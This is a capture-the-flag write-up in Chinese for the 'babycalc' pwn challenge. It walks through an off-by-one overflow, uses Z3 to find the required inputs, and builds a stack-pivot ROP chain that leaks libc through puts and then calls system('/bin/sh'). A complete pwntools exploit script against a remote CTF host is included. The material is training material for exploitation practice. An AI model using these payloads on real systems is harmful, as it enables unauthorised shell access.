只开了NX,直接看第三个函数,输入15个数如果满足下列等式就返回到main函数,不满足就退出


在上述过程中,buf大小为0x100,而我们可以输入0x100字节可以赋值给buf[100]的位置正好是ebp所在的位置,buf是char类型的故只会覆盖后面最后一字节,变量i位于ebp-4的位置,我们正好可以覆盖掉通过 *(v3+i)实现任意地址写,因为只能写低字节,不能构建完整的ROP,但是可以实现栈迁移。



用Z3-solver解出上述方程的解
v3 = 19,v4 = 36,v5 = 53,v6 = 70,v7 = 55,v8 = 66,v9 = 17,v10 = 161,v11 = 50,v12 = 131,v13 = 212,v14 = 101,v15 = 118,v16 = 199,v17 = 24,v18 = 3
payload如下
payload=b'00000024'+p64(ret)*21+p64(pop_edi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(0x400650)+p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)+b'\x00'*25+b'\x00\x00\x00\x38\x00\x00\x00\x00'

- 00000024是leave低字节地址,因为*(v3+i)=v0,v0是我们输入的值也就是24,他会将返回地址低字节覆盖掉,是返回地址指向leave ret
- v3所在的位置是ebp-0x30的地方,所以前面要填充0xD0个字节b'00000024'+p64(ret)*21+p64(pop_edi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(0x400650)正好满足,p64(ret)*21是因为我们将ebp的低位变成00,ebp会向低地址移动,填充足够多的ret是为了让ebp落在ret的概率增大,栈迁移后会一直ret直到pop_edi_ret,不必考虑esp
- 将v3-v18的值全部填充p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)
- 在ebp-4的位置写上v3到返回地址的偏移ebp+0x30+0x08
- p64(0x400650)是start的地址,因为我们把很多栈地址覆盖了,因此要从最开始从新布栈
执行完后栈的情况,两次leave后esp为0x7ffcd8b20e08还是ret,我们泄露libc地址


接收完后就可以进行system的rop
payload=b'00000024'+p64(ret)*21+p64(pop_edi_ret)+p64(bin_sh)+p64(system)+p64(ret)+p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)+b'\x00'*25+b'\x00\x00\x00\x38\x00\x00\x00\x00'

这题的libc是2.23-0ubuntu11.3_amd64,用Libcsearcher找到的是2.23-0ubuntu11.2_amd64一直不行。
完整EXP
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./babycalc"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=0
if debug:
p=process(filename)
else:
p=remote("node4.anna.nssctf.cn",28126)
def uu64():
a=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
return a
#gdb.attach(p,"b *0x00000000004007F5")
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
v3 = 19
v4 = 36
v5 = 53
v6 = 70
v7 = 55
v8 = 66
v9 = 17
v10 = 161
v11 = 50
v12 = 131
v13 = 212
v14 = 101
v15 = 118
v16 = 199
v17 = 24
v18 = 3
ret=0x400BB8
pop_edi_ret=0x0000000000400ca3
pop_esi_r15_ret=0x0000000000400ca1
puts_got=elf.got['puts']
payload=b'00000024'+p64(ret)*21+p64(pop_edi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(0x400650)+p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)+b'\x00'*25+b'\x00\x00\x00\x38\x00\x00\x00\x00'
p.recvuntil(b":")
p.send(payload)
puts=uu64()
print('base---------------->'+hex(puts))
base=puts-libc.symbols['puts']
system=base+libc.symbols['system']
bin_sh=base+next(libc.search(b'/bin/sh'))
payload=b'00000024'+p64(ret)*21+p64(pop_edi_ret)+p64(bin_sh)+p64(system)+p64(ret)+p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)+b'\x00'*25+b'\x00\x00\x00\x38\x00\x00\x00\x00'
p.recvuntil(b":")
p.send(payload)
p.interactive()
Comments NOTHING